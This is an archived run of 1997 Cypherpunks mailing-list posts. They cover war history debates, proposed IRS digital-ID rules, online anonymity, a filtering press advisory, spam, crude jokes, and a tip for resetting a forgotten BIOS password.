To: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Subject: Re: your mail
In-Reply-To: <Sxyza/qC3Tns+Lb/J+MBzg==@bureau42.ml.org>
Message-ID: <Pine.A41.3.95.971124110430.90838A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 24 Nov 1997, bureau42 Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy Maypole studied yoga back-streching exercises for five years so he could 
> blow himself (nobody else will).
> 
>     _
>    {~}
>   ( V-) Timmy Maypole
>   '|Y|'
>   _|||_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 25 Nov 1997 01:48:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Further costs of war
In-Reply-To: <v03102807b09e53a4b922@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.971124104803.9915F-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




> 
> The last justifiable war the American states were involved in was,
> arguably, the War of 1812. Every war since then has been unjustified.
> 
> --Tim May
> 

Chuckle. The "war" of 1812 was nearly as much of an internal political 
struggle over the form the U.S. gov't was to take as was the "civil war."

"State's rights" were a key issue, with most of New England strongly 
opposed to the "war", which was causing New Englanders severe economic 
loss to to blockades which prevented their trade with England (the enemy).

Many did not wish to add additional states beyond the origianl seaboard 
13, which would have doomed the new nation to being a British dependant.

There was great debate over the form a representative government was to 
take, with some supporting the idea that the "common" man was too 
ignorant to perceive long-term issues; some wanted a "house of lords" and 
"house of commons" as in England, with membership to the "upper" house, 
the Senate, restricted to an Elitist class. The Monarchists still had a 
great deal of support in parts of the original thirteen states.

The western states, such as Tennessee, were more in favor of supporting a 
combined "Federal" action against Britain than were the seaboard 
colonies, as the British were arming the local Indian tribes and inciting 
uprisings in an effort to block westward expansion. Folks in Tennessee 
wanted Madison to invade Canada to choke off the supply route.

French-speaking New Orleans didn't much care for having been sold to a 
foreign power, and had closer ties to Spanish Florida than to its new 
masters in Washington. Andrew Jackson's army did not receive a very warm 
welcome when he came to "defend" the city form the British; he had 
difficulty obtaining supplies, and had to declare martial law to maintain 
control of the city.

The trade issues and the "kidnapping" of American merchant seamen are 
given as "official" reasons for the conflict, but there were many other 
reasons as well.

Without the War of 1812, the "United States" as a single entity may never 
have emerged, and a loose coalition of states may have remained in its 
place, probably as a British dependant. Britian would have likely 
succeeded in regulating western movement, at least in the northern part 
of North America, and we'd all be talking like Phil.

The War of 1812 had arguably as great an impact on the Federal vs. States 
issue as did the Civil War. Interesting to see you "justifiying" this. :)  

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Tue, 25 Nov 1997 03:53:55 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Scientology war update
In-Reply-To: <Pine.GSO.3.95.971124123639.29334G-100000@cp.pathfinder.com>
Message-ID: <4269.880400708@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



Speaking of Scientologists, last week's episode of Millenium, almost a
self-parody, had a wonderful sendup of "Selfologists" and its founder
"Onan Gupta".

/pbp
--
No one has the right to destroy another person's belief by demanding empirical
evidence.
 
                -- Ann Landers, columnist and a director of Handgun Control Inc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 25 Nov 1997 01:35:28 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Your Papers, Please
In-Reply-To: <1.5.4.32.19971121122153.006cd9fc@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.971124115725.29334B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I wrote about this report a year ago, and took a critical look at it:

   http://cgi.pathfinder.com/netly/editorial/0,1012,31,00.html

            The sound bite would have made George Bush proud: "No New
   Internet Taxes."
        At least that's how articles in c|netand the New York Times
   described the recommendations of a Treasury Department report released
   last Thursday. The Times quoted Deputy Treasury Secretary Lawrence
   Summers as saying, "The key message of the report is, no Internet
   taxes." Indeed, the 46-page draft sketches out the Clinton
   administration's tax policy for the Internet and says that no
   additional taxes should be imposed on the Net.
       But, dear reader, you have to read the fine print. Which I did.
   That's where one finds the very clear suggestion that existing tax
   laws must be extended to encompass the Internet -- in the kind of
   clumsy and misinformed way that has typified federal forays into
   legislating online behavior. The theme of the report is clear: Since
   taxation is largely based on physical presence, the nature of the Net
   represents a threat to the taxman. Not surprisingly, the IRS could
   well return the favor by increasing its role in cyberspace.

[...]

-Declan


On Fri, 21 Nov 1997, John Young wrote:

>  Network World, November 15, 1997:
> 
>  Welcome To Cyberspace. Your Papers Please? 
> 
>  About a year ago, the Treasury Department issued a little-noticed discussion 
>  document entitled "Selected Tax Policy Implications of Global Electronic 
>  Commerce" (www.ustreas.gov). Beavering away in obscurity, these unelected 
>  technocrats have almost finished turning the broad "implications" into
> detailed 
>  regulations. Like most tax rulings, these regulations require no further 
>  congressional action to have the force of law. So, while rehabilitated Clinton 
>  apparatchik Ira Magaziner was out mesmerizing the digerati with his 
>  "Framework for Global Electronic Commerce," promising free markets and no new 
>  taxes, the green-eyeshade boys were quietly laying the groundwork to launch
> the 
>  IRS into cyberspace. ...
> 
>  The classic strategy of forcing reporting requirements on key "taxing
> points," such
>  as banks, clearinghouses and other financial institutions, is not likely to
> work as
>  the need for intermediation on the Internet will be vastly reduced. In many
> ways,
>  that's the whole point of electronic commerce. Any reporting burdens must be
>  pushed out to the end points of each transaction. How will this be done?
> This is
>  where Big Brother may arrive big time. 
> 
>  Under active consideration is a plan to require taxpayers to obtain digital
> IDs for all
>  electronic transactions, keeping records that could be examined on audit.
> The IDs
>  would be issued by IRS certified agencies, subject to government developed
>  standards to ensure that proper identity checks are performed before anyone is
>  allowed to shop online. The IRS would enforce this by issuing its own digital
>  certificates to issuers of digital IDs so that they can electronically
> prove that they
>  have received IRS certification. The technology they need to make this
> happen is
>  available. All that's missing are the regulations forcing compliance. So,
> stay tuned.
>  If you enjoyed the encryption key escrow debate, you'll love this one. 
> 
>  Bill Frezza
> 
> -----
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 25 Nov 1997 01:59:07 +0800
To: cypherpunks@toad.com
Subject: Anonymity at any cost, from The Netly News
Message-ID: <v03007801b09f6380288a@[204.179.142.80]>
MIME-Version: 1.0
Content-Type: text/plain



*********

http://cgi.pathfinder.com/netly/opinion/0,1042,1594,00.html

The Netly News (http://netlynews.com/)
November 24, 1997

Anonymity At Any Cost
by Declan McCullagh (declan@well.com)

        When Lance Cottrell created an easy-to-use anonymous e-mail service
	back in 1994, he feared that nobody would use it. "I used to be
	worried that people didn't want anonymity enough to pay for it,"
	he says. Today his company, Infonex, boasts 3,000 customers who
	pay $60 a year to browse the Web without leaving behind digital
	footprints.

        Which leaves Cottrell with new and more troubling worries. The
	mushrooming popularity of his Web-based "Anonymizer" (he also
	offers a slower, free version) has placed him at the heart of
	an explosive Internet debate over the limits of free speech and
	privacy online. Is Infonex - or Cottrell personally - responsible
	if a user breaks the law and can't be traced? Should the
	government restrict anonymous remailers or untraceable Web
	browsing?

        Last weekend Cottrell and I joined 40 lawyers, technologists and
	academics at a conference sponsored by the American Association
	for the Advancement of Science. Our charge: to puzzle through
	some of the questions surrounding anonymous communication.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 25 Nov 1997 02:06:51 +0800
To: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Subject: Re: Scientology war update
In-Reply-To: <aca0fceb47%Tim@tim01.ex.ac.uk>
Message-ID: <Pine.GSO.3.95.971124123639.29334G-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Don't mean to spoil the fun, but that article's over two years old.

Though I hear Helena K is still sending nastygrams. At the anonymity conf
over the weekend, I talked to a lawyer who knew and met her. He called her
"mousy," among other things.

-Declan


On Thu, 20 Nov 1997, Tim Griffiths wrote:

> Wired has a good article on how the war of words on alt.scientology.religion
> has split over into dawn raids and hardware seizures:
> 
> http://www.wired.com/wired/3.12/features/alt.scientology.war.html
> 
> If this is what can be achieved, think what can happen when the
> government _really_ puts its back it suppression. Time to PGP every
> file I own...
> 
> Tim
> -- 
> Dr Tim Griffiths is in real life t.griffiths@ic.ac.uk
> Vmail on (0)-1392-264197
> Public key available - finger tim@tim01.ex.ac.uk
> 
> 			- Nothing is trivial - 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Tue, 25 Nov 1997 02:14:48 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711240521.XAA10697@einstein.ssz.com>
Message-ID: <19971124130413.42897@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Nov 23, 1997 at 11:21:48PM -0600, Jim Choate wrote:
> 
> Japan beat the shit out of Russia in 1903. Had it not been for Richard

Reread what you quoted below, and you will see that I don't want to
debate over wether or not in a frontal clash between USSR and Japan the
japanese army wins or not. I will grant you they win the first
battle. The same way the germans won for a while... And even admittedly
if you destroy the organised forces from your enemy, it doesn't mean you
are done. You are only if you manage to get the population on your
side. Dimitri makes a very good point in his post, saying that the
germans fucked up in the west, as they could have taken great advantage
from being seen as liberators. As for "Moscow fall, Stalin  fall",
remember Napoleon ?

> > Somehow your ability to expand durably
> > depends on your ability to keep your new possessions. While occupying
> > France, using a satellite gouvernment, isn't that hard, occupying Russia
> > (for the germans) and China (for the japanese) is another, quite
> > impossible, task if you don't get the population support (or, at least,
> > indifference). So, if Hitler had known better, he would have stuck to
> > western europe...
> 
> Had it not been for the oil, food, and weapons we shipped Britian he would
> have owned Europe in toto. It is clear from Hitlers earliest writings that
> he had full intention of taking Russia. Had Stalin not had Sorge's

Yeah, he was stupid. That's my point ;-)

> Rim *and* keep America out of the conflict. China was beaten at the time.
> The only thing keeping the Japanese from taking over the entire country was
> two things. Their interest in expanding southward and eastward in the
> Pacific to gain more oil and resource reserves (Manchuria's oil was critical
> but no sufficient) and the fact that they simply didn't have enough men to
> do both, expand north/west and south/east. The Japanese chose to go

Ultimatly this cost them the game. Not enough men. Had the situation
last a little longer, japanese occupation forces in China would have
faced some serious problems (they were already, actually).

> Mussolini may not have been fond of Hitler but he certainly admired and
> respected the man, or at least that is what Ciano's diaries indicate.

Well, in 34 it wasn't yet the case: when there were serious rumors that
Hitler might be tempted to invade Austria, Mussolini moved troops close
to his autrian border. He was a close friend of the austrian prime
minister of the time (later to be killed...). How Mussolini changed his
mind is a mix of his internal situation in Italy, and his rejection by
the rest of Europe...

> peoples of north and south America sit untouched even if they hadn't planned
> to get the US involved. Consider where the only two locations for platinum
> are located and the impact of that metal on high-technology.* Further
> consider, had Germany and Japan worked in concert a little closer they could
> have had 90% of all the oil on the planet. You think the oil shortages of
> the 70's were a bitch. In such a world the US would not have been the first
> on the moon (I suspect we wouldn't even be in the running). We would not in
> all probability have developed the atom bomb in time; Germany would have
> inhereted all the work the British did and considering that at the time they
> had all the heavy water on the planet they would have had a definite
> advantage. Take that and put things such as the ME-262, the New York Blitz
> Bomber, the V2, the Tri-partite signatories expansionistic dreams, the
> picture becomes quite nasty.
> 
> And if you think for one minute that the US could have stood against Europe,
> Asia, Africa, and Australia combined under some sort of combined assault
> with the technological edge going to the tri-partites you are sorely
> misinformed.

I think you are the one playing games, not me. Once again, I don't
disagree with you on the fact that the US made the right decision
anyway. But had they waited until Hitler was knocking on their door it
wouldn't probably have changed the issue by much. (I would be a native
german-speaker, perhaps...)

                         F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 25 Nov 1997 03:30:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war (fwd)
Message-ID: <199711241930.NAA13443@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 24 Nov 1997 13:04:13 -0500
> From: Fabrice Planchon <fabrice@math.Princeton.EDU>
> Subject: Re: Further costs of war (fwd)

> Reread what you quoted below, and you will see that I don't want to
> debate over wether or not in a frontal clash between USSR and Japan the
> japanese army wins or not. I will grant you they win the first
> battle. The same way the germans won for a while... And even admittedly
> if you destroy the organised forces from your enemy, it doesn't mean you
> are done. You are only if you manage to get the population on your
> side. Dimitri makes a very good point in his post, saying that the
> germans fucked up in the west, as they could have taken great advantage
> from being seen as liberators. As for "Moscow fall, Stalin  fall",
> remember Napoleon ?

Napolean never took Moscow, he was stopped - just like Hitler - at the
gates. The closest either French or German forces got was to look at the
spires of the Kremlin. Beyond that similarity there are a wide range of
differences between the situation. The fact remains that had Stalin *not*
been able to withdraw troops from the Chinese border he would not have been
able to keep Stalingrad or Moscow. Further, the *only* reason that Stalin
could afford to do that was because Sorge indicated that the Japanese were
interested in other goals at the time. Oh, regarding Napolean, the reason
that he couldn't take Moscow was because troops, called Cossacks, were moved
from the east to the west.

> > Had it not been for the oil, food, and weapons we shipped Britian he would
> > have owned Europe in toto. It is clear from Hitlers earliest writings that
> > he had full intention of taking Russia. Had Stalin not had Sorge's
> 
> Yeah, he was stupid. That's my point ;-)

Hitler may have been a lot of things, stupid was not one of them.

> Ultimatly this cost them the game. Not enough men. Had the situation
> last a little longer, japanese occupation forces in China would have
> faced some serious problems (they were already, actually).

Such as? The situation in China at the time was that a variety of warlords
were spending more time fighting each other than the Japanese. China at that
time was not a cohesive entity. The reason that Japan lost WWII was that at
no point did they have strategic supplies of oil for longer than 5-9 months
*and* the US waged unrestricted submarine warfare in the Pacific destroying
what merchant marine the Japanese had so they could not take advantage of
the oil refineries in such nifty places as Palembang, Sumatra (whose taking
in Feb. 1942 was the first use of Japanese paratroops, all 700 were wiped
out). It was not because they didn't have the men.

> Well, in 34 it wasn't yet the case: when there were serious rumors that
> Hitler might be tempted to invade Austria, Mussolini moved troops close
> to his autrian border. He was a close friend of the austrian prime
> minister of the time (later to be killed...). How Mussolini changed his
> mind is a mix of his internal situation in Italy, and his rejection by
> the rest of Europe...

In 1934 Mussolini invaded Abyssinia all on his own, Hitler took the
opportunity to march into the Rhineland while the rest of the world stood
aghast at the use of modern weapons against stone-age tribesmen. The next
thing Mussolini did was send troops to help Franco, troops which fought
right along side Germans troops. On Nov. 30, 1938 Ciano made a comment in
the Fascist Chamber about 'natural aspiration' and the members stood yelling
"Corsica, Tunis, Nice!". The talk of taking Nice obviously did nothing to 
settle the French's worries. In July, 1938 5 billion lire was asigned to
modernize the Italian forces. The Abyssinian campaign cost 13 billion lire
and tied up 300,000 Italian troops. The help in Spain cost hardware and
involved another 50,000 troops who were still there. When the Spanish Civil
War ended in 1939 he invaded Albania, which was an Italian protectorate. By
this time Italy as allied strongly to Germany in the minds of just about
everyone. Around 12 August, 1939 after Ciano discovered the intended invasion
of Poland and passed this to Mussolini did there become a measure of doubt in
Mussolini's mind that perhaps he had picked the wrong allies.

> I think you are the one playing games, not me. Once again, I don't
> disagree with you on the fact that the US made the right decision
> anyway. But had they waited until Hitler was knocking on their door it
> wouldn't probably have changed the issue by much. (I would be a native
> german-speaker, perhaps...)

If the US had waited until Hitler began dropping bombs on New York and
firing V2's from submarines 20 miles off the coast while at the same time
Japan was doing the same sorts of things, with a nice base at Pearl Harbor,
*and* you claim the US could have stood the test then I can only say you
are confused at best.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 25 Nov 1997 06:56:23 +0800
To: cypherpunks@toad.com
Subject: Free speech and jlist groups press conf on ratings (12/1)
Message-ID: <Pine.GSO.3.95.971124142946.20021J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





                         ** MEDIA ADVISORY **

           Press Conference on Internet Ratings and Filtering


WHO:   Internet Free Expression Alliance (IFEA)

WHAT:  Press conference announcing the formation of IFEA, a coalition of
organizations devoted to the continuation of the Internet as a forum for
open expression and to identify new threats to free expression and First
Amendment values on the Internet, whether legal or technological.

WHEN:  Monday, December 1, 12:30 p.m.

WHERE: First Amendment Lounge
       National Press Club
       14th & F Streets, N.W.
       Washington, DC

WHY:   To address the free speech issues raised by proposals to rate
and filter "objectionable" content on the Internet.  These proposals
will be featured prominently at the White House-endorsed "Internet
Online Summit" that opens on December 2.  Representatives of the
following IFEA member organizations will be available for comment:

       American Civil Liberties Union
       American Society of Newspaper Editors
       Computer Professionals for Social Responsibility
       Electronic Frontier Foundation
       Electronic Privacy Information Center
       Feminists for Free Expression
       Institute for Global Communications
       National Campaign for Freedom of Expression
       National Coalition Against Censorship
       Society of Professional Journalists

CONTACT:

David Sobel, EPIC: 202-544-9240
David Greene, NCFE: 202-393-2787
Emily Whitfield, ACLU: 212-549-2566


..








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 25 Nov 1997 05:06:15 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Encrypted Economic Speech is Protected
In-Reply-To: <1.5.4.32.19971121122153.006cd9fc@pop.pipeline.com>
Message-ID: <3.0.2.32.19971124154454.007526f8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:08 AM 11/24/97 -0700, Tim May wrote:
>Some thoughts on the proposal floating around to require all electronic
>transactions be identified and have IRS-endorse tags. I believe this runs
>smack up against the First Amendment (and possibly the Fourth), and that
>private transactions, contracts, IOUs, and such are essentially untaxable
>and nonvisible to the government (practically speaking, a la the situation
>today and at all times in the past).

Not to mention GATT and the WTO.  I don't think the US can unilaterally 
mandate a particular electronic commerce scheme and force it on electronic 
merchants in Mongolia (the freest trading country on earth these days).  

That's why when Pat said GATT would destroy U.S. soveriegnty, I said "I sure 
hope so."  

>3. Many businesses have started asking for ID for more purchases (perhaps
>because they think it will lessen liability problems, perhaps because they
>just think that all customer-units should be tracked). An example: hotel
>rooms. (Used to be one could just pay cash...now ID is demanded at some
>hotels.) 

Though most hotels actually want credit cards and believe that credit cards 
are a form of ID even though they most certainly are not.

I was asked for a picture ID before being shown an apartment.  Real Estate 
agent concern about crime directed at them?

>Some businesses are even demanding Social Security numbers. (And I
>don't mean banks or other businesses with IRS reporting requirements...a
>local gun range demanded my SS number for their range ID card.)

"I'm Canadian.  I don't have an SS#."  Works for everything that can be 
purchased or joined by Canadians in the US.

>However, these ID requirements are not the norm, and most merchants will
>happily take cash money for any and all purchases.

Very true.

>4. "Receipts" are not even required by law for transactions. Alice and Bob
>can complete a transaction without any paperwork. Or with handwritten
>notes. Or a Xeroxed receipt form. Or with their Palm Pilots or Newtons, or
>whatever.

The Finanzia Guardia (pardon my Italian spelling) (Financial Police) in Italy 
enforce the Italian requirement for receipts by fining customers who can't 
produce them.  Designed to back up VAT collection.  I noticed that most 
receipts there were generated by PCs under control of shopkeepers.  Good 
opportunities for keeping double books.  I wonder if Italy mandates POS and 
accounting software?

>9. In the U.S. at least, there is essentially no attempt to collect sales
>taxes on private, two-party transactions.  This is not enforceable at flea
>markets, garage sales, and other such markets, let alone in private
>transactions between Alice and Bob.

Though the New Jersey Gestapo *have* been attending computer, collector, etc. 
shows and demanding resale certificates, estimating revenue based on 
displayed stock, and seizing stock if not paid.  (Not recommended at gun 
shows -- which have been driven out of NJ in any case).  Hard work for the 
revenooers, though.

>12. The expression "to utter a check" dates back before Eric Hughes' usage
>a few years ago (so I was told by M. Froomkin). A check is a kind of
>promise to pay.  So is an IOU. So is a promissory (sp?) note. So are many
>kinds of contracts.

Uttering checks is from the dawn of commercial paper under common law.  I'm 
sure Eric read it in one of the banking books he likes to read.

>Practically speaking, the idea is a non-starter. There are so many ways to
>skirt the proposed ID systems, using cut-outs, off-shore accounts,
>pseudonyms, etc., that enforcement would be a nightmare.

No kidding.

DCF
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7MEDFhIxNGk=
=utSo
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Tue, 25 Nov 1997 08:06:42 +0800
To: cypherpunks@toad.com
Subject: where to download pgp 5.0 for Linux?
Message-ID: <19971124.164146.2839.1.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



where to download pgp 5.0 for Linux?
(for free)


This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Edward Russell <mail@inbox.co.uk>
Date: Wed, 26 Nov 1997 04:04:47 +0800
To: "'cypherpunks@toad.com>
Subject: IBM, Compaq, Toshiba WANTED (pwn)
Message-ID: <01BCF999.D64FD580@edward>
MIME-Version: 1.0
Content-Type: text/plain



To: cypherpunks@toad.com

Hi

I got your email address from your web site

I will buy laptops in any condition, new and boxed, second hand, faulty, damaged
smashed screens, etc.

I am based in California but I have facilities to collect equipment anywhere in
the USA, payment will be by cashiers check.

Quantities are immaterial, but my normal deals are for one to one hundred units.

I am only interested in 486 and Pentium laptop computers.

To give you an idea of the specific models I am interested in I have listed below
units which I currently have back orders for, list as follows.....

Toshiba Tecra, all models
Toshiba Satellite Pro, all models
Toshiba Satellite, all models
IBM Thinkpad 760, all models
Compaq LTE 5000 series, LTE5400, LTE5380, LTE5300 in particular
Compaq Armada 7700 series, Armada 7730 and 7750 in particular

Please respond by email if you have something to offer me. It is much easier
for me if you can include your phone number / contact details.

Regards

Edward Russell

P.S. This email is a one off, you will not be emailed again if you do not carry out
further email corespondents with myself. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 25 Nov 1997 07:25:39 +0800
To: toto@sk.sympatico.ca
Subject: SigFiles
In-Reply-To: <4269.880400708@zelkova.qualcomm.com>
Message-ID: <347A0766.11DC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



>                 -- Ann Landers, columnist and a director of Handgun Control Inc

Isn't "Handgun Contol, Inc." the place where they align your gun-sights
for free?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 25 Nov 1997 07:37:04 +0800
To: cypherpunks@toad.com
Subject: Fear & Gloating in Tennessee
Message-ID: <347A0C67.6724@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



>From CNN(AP):
Web posted at: 10:47 a.m. EST (1547 GMT) 

                     FRANKLIN, Tennessee (AP) --
                     Three books by photographers
                     Jock Sturges and David Hamilton
                     have received some critical praise,
                     but a Tennessee county grand jury
                     claims they may violate state
                     obscenity laws. 

                     "The Age of Innocence" by
                     Hamilton and "The Last Day of Summer" and "Radiant
Identities"
                     by Sturges were cited in the indictment against
Barnes & Noble's
                     Brentwood store. 

                     The obscenity charges focus on photographs of nude
children in
                     the books. 

I certainly hope that the prosecutor, judge and jury didn't look
at those pictures. Probably turn them all into pedophiles, eh?

                     Barnes & Noble was served with a summons to appear
in
                     Williamson County Criminal Court on December 1.
Jerome
                     Melson, an attorney for the Tennessee Press
Association, said
                     interpretations of what is obscene vary widely and
he believes the
                     grand jury is not looking to put anyone in jail. 

                     "They're probably just looking for a fine... to get
the bookstore to
                     change its manner," he said. "In other words,
change your shelves."

Oh! Voluntary/Mandatory under threat of imprisonment...

Is it time for some new NewSpeak?
   Volundated -- Voluntary/Mandated
   Volundatory -- Voluntary/Mandatory
   Volutelse -- Voluntary/Or else!

                     Copyright 1997   The Associated Press. All rights
reserved.
                     This material may not be published, broadcast,
rewritten, or
                     redistributed.

Sure it can. I just did it...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 25 Nov 1997 08:15:05 +0800
To: cypherpunks@toad.com
Subject: Put it where the SUN don't shine...
Message-ID: <347A1225.68B2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



The Microsoft spoofers, who work for Palladium Interactive
software, didn't let the feel-good fest rain on their parade. They
said their tiny Larkspur, Calif. company drew lots of interest in
their parody of Microsoft's upcoming Windows 98 operating
program, which goes by a name that can't be mentioned here
because of its sexual connotations. 

The program includes games such as Billagotchi, an on-screen
"cyber pet" that people need to feed money and tend to his needs
or else he throws a tantrum. 

For example, the parody includes an icon for "MS Exploiter" that
links to a Palladium Web site. And in a skit based on Star Trek,
cartoon characters from the Star Ship Explorer blow up the SS
Netscape. 

"The party line is if you don't have a booth, you can't hand out
literature," said Rebecca Murphy, director of product marketing
for the firm.
                     
"We're just trying to have some fun."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 25 Nov 1997 11:12:18 +0800
To: Brandon Crosby <cypherpunks@toad.com
Subject: Re: BIOS Help
In-Reply-To: <199711241422.IAA16823@ted.mncs.k12.mn.us>
Message-ID: <3.0.3.32.19971124184804.006ba4ec@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 08:22 AM 11/24/97 -0600, Brandon Crosby wrote:
>Hey,
>
>Does anyone know where specs for Award BIOS chips are? I accidentily
>locked mine and lost the password.

If the CMOS chip is socketed (as opposed to soldered in), remove it, wrap
it in aluminum foil, and let it sit for about an hour.  This will clear all
CMOS data including the password, hard drive parameters, date/time, and
other settings maintained there.  If removing the chip is impractical,
unplug the power supply from the motherboard, and remove the battery that
powers the chip.  (Even if it is soldered in, desoldering a 2-pin device is
orders of magnitude easier than desoldering a 40-60 pin DIP)  Once you have
done this, wait for an hour.  When time is up, put everything the way it
was, start the machine, enter the setup program (F1/F10/DEL) and redo all
the settings.  Hopefully, you have them archived with Norton Utilities or
something similar sou you needn't try to remember if you had enabled the
BIOS shadowing at 0xC8000 and other such trivia.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNHo8Y8JF0kXqpw3MEQLBsACfXKiz81uKxAFjvnxz9zs7EiYPX/gAoOwR
lUTIeOmx8AtESQjuJZGzGxPs
=784N
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 25 Nov 1997 11:00:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Iraq and computers
In-Reply-To: <199711250133.CAA09163@basement.replay.com>
Message-ID: <v03102812b09fd96149e8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:33 PM -0700 11/24/97, Anonymous wrote:

(stuff elided about more computers being deployed in Iraq)

>This is an interesting development because it also makes it hard for
>the Iraqi government to track what is going on, too.  The government
>of Iraq has been aware of the dangers of computers for many years.  At
>one time they were tightly controlled.  Even typewriters were
>controlled.  The government had writing samples of each one.
>
>Now, apparently, this policy is loosening.  This suggests that U.S.
>policy of the last 8 years has managed to achieve what Saddam Hussein
>could not - it has made the Hussein regime a genuinely popular
>government.

Embargos (or is it embargoes?) tend to alienate the people who are,
obviously, most affected. Embargos seldom affect the ruling class.

In the case of Iraq, more than a hundred thousand infants and children and
others are estimated to have died as a direct result of the embargo. (I
